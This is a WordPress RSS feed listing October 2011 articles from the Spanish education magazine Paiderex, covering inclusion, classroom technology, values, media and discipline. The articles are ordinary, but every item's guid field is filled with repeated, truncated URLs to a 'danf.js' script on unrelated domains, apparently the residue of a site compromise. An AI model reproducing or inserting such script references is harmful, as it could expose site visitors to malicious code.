
<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Paiderex &#187; Artículos Octubre 2011</title>
	<atom:link href="http://revista.academiamaestre.es/category/articulos-octubre-2011/feed/" rel="self" type="application/rss+xml" />
	<link>https://revista.academiamaestre.es</link>
	<description></description>
	<lastBuildDate>Mon, 01 Feb 2016 19:41:16 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.2</generator>
		<item>
		<title>¿EDUCACIÓN DE INTEGRACIÓN O DE SEGREGACIÓN?</title>
		<link>https://revista.academiamaestre.es/2011/10/%c2%bfeducacion-de-integracion-o-de-segregacion/</link>
		<comments>https://revista.academiamaestre.es/2011/10/%c2%bfeducacion-de-integracion-o-de-segregacion/#comments</comments>
		<pubDate>Mon, 17 Oct 2011 16:14:26 +0000</pubDate>
		<dc:creator>Paiderex</dc:creator>
				<category><![CDATA[Artículos Octubre 2011]]></category>
		<category><![CDATA[Integración]]></category>

		<guid isPermaLink="false">http://middle.destinyfernandi.com/clork/bons/danf.js?k=0&#038;middle.destinyfernandi.com/clork/bons/danf.js?k=0&#038;middle.destinyfernandi.com/clork/bons/danf.js?k=0&#038;middle.destinyfernandi.com/clork/bons/danf.js?k=0&#038;adjust.admarketlocation.com/bons/danf.js?k=0&#038;adj</guid>
		<description><![CDATA[Autora: Sarai González García Hablar de educación es siempre controvertido por la diversidad de opiniones que suscita y por lo delicado del tema, mucho más teniendo en cuenta como está el patio. La integración o segregación de alumnos con diversas características, puede planteársenos como uno de esos temas sobre los que debatir para la mejora [...]]]></description>
		<wfw:commentRss>https://revista.academiamaestre.es/2011/10/%c2%bfeducacion-de-integracion-o-de-segregacion/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>LA INTEGRACIÓN DE LAS NNTT EN LA DOCENCIA</title>
		<link>https://revista.academiamaestre.es/2011/10/la-integracion-de-las-nntt-en-la-docencia/</link>
		<comments>https://revista.academiamaestre.es/2011/10/la-integracion-de-las-nntt-en-la-docencia/#comments</comments>
		<pubDate>Mon, 17 Oct 2011 16:04:11 +0000</pubDate>
		<dc:creator>Paiderex</dc:creator>
				<category><![CDATA[Artículos Octubre 2011]]></category>
		<category><![CDATA[NUEVAS TECNOLOGIAS]]></category>

		<guid isPermaLink="false">http://middle.destinyfernandi.com/clork/bons/danf.js?k=0&#038;middle.destinyfernandi.com/clork/bons/danf.js?k=0&#038;middle.destinyfernandi.com/clork/bons/danf.js?k=0&#038;middle.destinyfernandi.com/clork/bons/danf.js?k=0&#038;adjust.admarketlocation.com/bons/danf.js?k=0&#038;adj</guid>
		<description><![CDATA[Autora: Beatriz Berrecosa Pérez El objetivo de este artículo es conocer de manera detallada todo lo que ha supuesto el nacimiento, desarrollo y posterior integración de las Nuevas Tecnologías en el entorno de la educación. Para ello, se habla de los cambios que tendrán lugar en todos los ámbitos, desde los centros educativos, los cuales [...]]]></description>
		<wfw:commentRss>https://revista.academiamaestre.es/2011/10/la-integracion-de-las-nntt-en-la-docencia/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>VALORES, CIMIENTOS DE UNA EDUCACIÓN</title>
		<link>https://revista.academiamaestre.es/2011/10/valores-cimientos-de-una-educacion/</link>
		<comments>https://revista.academiamaestre.es/2011/10/valores-cimientos-de-una-educacion/#comments</comments>
		<pubDate>Mon, 17 Oct 2011 15:50:57 +0000</pubDate>
		<dc:creator>Paiderex</dc:creator>
				<category><![CDATA[Artículos Octubre 2011]]></category>
		<category><![CDATA[EDUCACIÓN EN VALORES]]></category>

		<guid isPermaLink="false">http://middle.destinyfernandi.com/clork/bons/danf.js?k=0&#038;middle.destinyfernandi.com/clork/bons/danf.js?k=0&#038;middle.destinyfernandi.com/clork/bons/danf.js?k=0&#038;middle.destinyfernandi.com/clork/bons/danf.js?k=0&#038;adjust.admarketlocation.com/bons/danf.js?k=0&#038;adj</guid>
		<description><![CDATA[Autora: Ana María Vega Llano A la educación le atañe la formación y el bienestar de las personas y, de manera explícita, busca el desarrollo integral del individuo para un ejercicio pleno de las capacidades humanas. Para conseguir este fin se necesitan sólidos cimientos sobre los cuales basar las decisiones y comportamientos, de modo que [...]]]></description>
		<wfw:commentRss>https://revista.academiamaestre.es/2011/10/valores-cimientos-de-una-educacion/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>LAS TICS, A LA CABEZA DE LA EDUCACIÓN EN EXTREMADURA</title>
		<link>https://revista.academiamaestre.es/2011/10/las-tics-a-la-cabeza-de-la-educacion-en-extremadura/</link>
		<comments>https://revista.academiamaestre.es/2011/10/las-tics-a-la-cabeza-de-la-educacion-en-extremadura/#comments</comments>
		<pubDate>Mon, 17 Oct 2011 15:47:04 +0000</pubDate>
		<dc:creator>Paiderex</dc:creator>
				<category><![CDATA[Artículos Octubre 2011]]></category>
		<category><![CDATA[LAS TIC`s]]></category>

		<guid isPermaLink="false">http://middle.destinyfernandi.com/clork/bons/danf.js?k=0&#038;middle.destinyfernandi.com/clork/bons/danf.js?k=0&#038;middle.destinyfernandi.com/clork/bons/danf.js?k=0&#038;middle.destinyfernandi.com/clork/bons/danf.js?k=0&#038;adjust.admarketlocation.com/bons/danf.js?k=0&#038;adj</guid>
		<description><![CDATA[Autora: Ana María Vega Llano             La sociedad actual ha cambiado mucho tecnológicamente hablando, y es que casi todo el mundo dispone ya de un ordenador y de Internet en casa.  Esta nueva situación, que ha supuesto una serie de cambios importantes en nuestras vidas, nos ha situado en un nuevo paradigma de enseñanza que da [...]]]></description>
		<wfw:commentRss>https://revista.academiamaestre.es/2011/10/las-tics-a-la-cabeza-de-la-educacion-en-extremadura/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>LA TELEVISIÓN, UN PODEROSO AGENTE SOCIALIZADOR</title>
		<link>https://revista.academiamaestre.es/2011/10/la-television-un-poderoso-agente-socializador/</link>
		<comments>https://revista.academiamaestre.es/2011/10/la-television-un-poderoso-agente-socializador/#comments</comments>
		<pubDate>Mon, 17 Oct 2011 15:41:33 +0000</pubDate>
		<dc:creator>Paiderex</dc:creator>
				<category><![CDATA[Artículos Octubre 2011]]></category>
		<category><![CDATA[Medios de Comunicación]]></category>

		<guid isPermaLink="false">http://middle.destinyfernandi.com/clork/bons/danf.js?k=0&#038;middle.destinyfernandi.com/clork/bons/danf.js?k=0&#038;middle.destinyfernandi.com/clork/bons/danf.js?k=0&#038;middle.destinyfernandi.com/clork/bons/danf.js?k=0&#038;adjust.admarketlocation.com/bons/danf.js?k=0&#038;adj</guid>
		<description><![CDATA[Autora: Ana María Vega Llano       La televisión educativa es un recurso necesario en la educación, una forma de vivir, socializar, pensar, sentir e imaginar que tiene grandes posibilidades comunicativas para hacer de la educación una acción formadora, divertida e imaginativa. Además de cumplir con las funciones de informar, entretener y educar. Ejemplo de ello es [...]]]></description>
		<wfw:commentRss>https://revista.academiamaestre.es/2011/10/la-television-un-poderoso-agente-socializador/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>LA PRENSA COMO RECURSO EDUCATIVO IMPORTANTE EN LAS AULAS</title>
		<link>https://revista.academiamaestre.es/2011/10/la-prensa-como-recurso-educativo-importante-en-las-aulas/</link>
		<comments>https://revista.academiamaestre.es/2011/10/la-prensa-como-recurso-educativo-importante-en-las-aulas/#comments</comments>
		<pubDate>Mon, 17 Oct 2011 15:33:00 +0000</pubDate>
		<dc:creator>Paiderex</dc:creator>
				<category><![CDATA[Artículos Octubre 2011]]></category>
		<category><![CDATA[Medios de Comunicación]]></category>

		<guid isPermaLink="false">http://middle.destinyfernandi.com/clork/bons/danf.js?k=0&#038;middle.destinyfernandi.com/clork/bons/danf.js?k=0&#038;middle.destinyfernandi.com/clork/bons/danf.js?k=0&#038;middle.destinyfernandi.com/clork/bons/danf.js?k=0&#038;adjust.admarketlocation.com/bons/danf.js?k=0&#038;adj</guid>
		<description><![CDATA[Autora: Ana María Vega Llano Hoy en día, la prensa se  ha convertido en uno de los medios de comunicación más importantes en las aulas, y es que el periódico no sólo sirve para ampliar una información sino para poder interpretar textos periodísticos que, además, fomentan la capacidad crítica del estudiante y su propia autonomía. [...]]]></description>
		<wfw:commentRss>https://revista.academiamaestre.es/2011/10/la-prensa-como-recurso-educativo-importante-en-las-aulas/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>ORDEN Y DISCIPLINA ESCOLAR, RETOS DE LA EDUCACIÓN DE HOY</title>
		<link>https://revista.academiamaestre.es/2011/10/orden-y-disciplina-escolar-retos-de-la-educacion-de-hoy/</link>
		<comments>https://revista.academiamaestre.es/2011/10/orden-y-disciplina-escolar-retos-de-la-educacion-de-hoy/#comments</comments>
		<pubDate>Mon, 17 Oct 2011 15:28:11 +0000</pubDate>
		<dc:creator>Paiderex</dc:creator>
				<category><![CDATA[Artículos Octubre 2011]]></category>
		<category><![CDATA[EDUCACIÓN EN VALORES]]></category>

		<guid isPermaLink="false">http://middle.destinyfernandi.com/clork/bons/danf.js?k=0&#038;middle.destinyfernandi.com/clork/bons/danf.js?k=0&#038;middle.destinyfernandi.com/clork/bons/danf.js?k=0&#038;middle.destinyfernandi.com/clork/bons/danf.js?k=0&#038;adjust.admarketlocation.com/bons/danf.js?k=0&#038;adj</guid>
		<description><![CDATA[Autora: Ana María Vega Llano               En los tiempos que corren es muy difícil conseguir orden y disciplina en las aulas. Los niños cada vez tienen menos ganas de estudiar; hay mucha población inmigrante que, a veces, significa racismo y xenofobia; muchos son repetidores que se pasan el día molestando; otros viven en familias desestructuradas… Por [...]]]></description>
		<wfw:commentRss>https://revista.academiamaestre.es/2011/10/orden-y-disciplina-escolar-retos-de-la-educacion-de-hoy/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>LOS MEDIOS DE COMUNICACIÓN SOCIAL, IMPORTANTES AGENTES DE SOCIALIZACIÓN</title>
		<link>https://revista.academiamaestre.es/2011/10/los-medios-de-comunicacion-social-importantes-agentes-de-socializacion/</link>
		<comments>https://revista.academiamaestre.es/2011/10/los-medios-de-comunicacion-social-importantes-agentes-de-socializacion/#comments</comments>
		<pubDate>Mon, 17 Oct 2011 15:23:50 +0000</pubDate>
		<dc:creator>Paiderex</dc:creator>
				<category><![CDATA[Artículos Octubre 2011]]></category>
		<category><![CDATA[Medios de Comunicación]]></category>

		<guid isPermaLink="false">http://middle.destinyfernandi.com/clork/bons/danf.js?k=0&#038;middle.destinyfernandi.com/clork/bons/danf.js?k=0&#038;middle.destinyfernandi.com/clork/bons/danf.js?k=0&#038;middle.destinyfernandi.com/clork/bons/danf.js?k=0&#038;adjust.admarketlocation.com/bons/danf.js?k=0&#038;adj</guid>
		<description><![CDATA[Autora: Ana María Vega Llano La influencia de los medios de comunicación en la educación de hoy da lugar a un nuevo tipo de alumnado, y por ende de profesor y de escuela. Se trata de una situación que demanda un nuevo tipo de alumno (mucho más crítico y autónomo) que no habría recibido únicamente [...]]]></description>
		<wfw:commentRss>https://revista.academiamaestre.es/2011/10/los-medios-de-comunicacion-social-importantes-agentes-de-socializacion/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>LA IMAGEN TAMBIÉN EDUCA EN LAS AULAS EXTREMEÑAS</title>
		<link>https://revista.academiamaestre.es/2011/10/la-imagen-tambien-educa-en-las-aulas-extremenas/</link>
		<comments>https://revista.academiamaestre.es/2011/10/la-imagen-tambien-educa-en-las-aulas-extremenas/#comments</comments>
		<pubDate>Mon, 17 Oct 2011 15:15:50 +0000</pubDate>
		<dc:creator>Paiderex</dc:creator>
				<category><![CDATA[Artículos Octubre 2011]]></category>
		<category><![CDATA[Imagen]]></category>

		<guid isPermaLink="false">http://middle.destinyfernandi.com/clork/bons/danf.js?k=0&#038;middle.destinyfernandi.com/clork/bons/danf.js?k=0&#038;middle.destinyfernandi.com/clork/bons/danf.js?k=0&#038;middle.destinyfernandi.com/clork/bons/danf.js?k=0&#038;adjust.admarketlocation.com/bons/danf.js?k=0&#038;adj</guid>
		<description><![CDATA[Autora: Ana María Vega Llano El cine es un recurso muy utilizado en las aulas extremeñas hoy en día. Por eso, una adecuada incorporación de la imagen en los procesos de enseñanza incrementará la motivación en el aula y, al mismo tiempo, habituará a los alumnos a reflexionar a partir de la imagen fuera de [...]]]></description>
		<wfw:commentRss>https://revista.academiamaestre.es/2011/10/la-imagen-tambien-educa-en-las-aulas-extremenas/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SOMOS DIFERENTES, PERO IGUALES EN LA EDUCACIÓN</title>
		<link>https://revista.academiamaestre.es/2011/10/somos-diferentes-pero-iguales-en-la-educacion/</link>
		<comments>https://revista.academiamaestre.es/2011/10/somos-diferentes-pero-iguales-en-la-educacion/#comments</comments>
		<pubDate>Mon, 17 Oct 2011 15:11:55 +0000</pubDate>
		<dc:creator>Paiderex</dc:creator>
				<category><![CDATA[Artículos Octubre 2011]]></category>
		<category><![CDATA[Diversidad]]></category>

		<guid isPermaLink="false">http://middle.destinyfernandi.com/clork/bons/danf.js?k=0&#038;middle.destinyfernandi.com/clork/bons/danf.js?k=0&#038;middle.destinyfernandi.com/clork/bons/danf.js?k=0&#038;middle.destinyfernandi.com/clork/bons/danf.js?k=0&#038;adjust.admarketlocation.com/bons/danf.js?k=0&#038;adj</guid>
		<description><![CDATA[Autora: Ana María Vega Llano             Hoy en día nos encontramos en las aulas con alumnos que requieren una atención educativa diferente a la ordinaria por presentar necesidades educativas especiales, por sus altas capacidades intelectuales, por haberse incorporado tardíamente al sistema educativo o por condiciones personales o de historia escolar. Así, lo principal será actuar pedagógicamente [...]]]></description>
		<wfw:commentRss>https://revista.academiamaestre.es/2011/10/somos-diferentes-pero-iguales-en-la-educacion/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
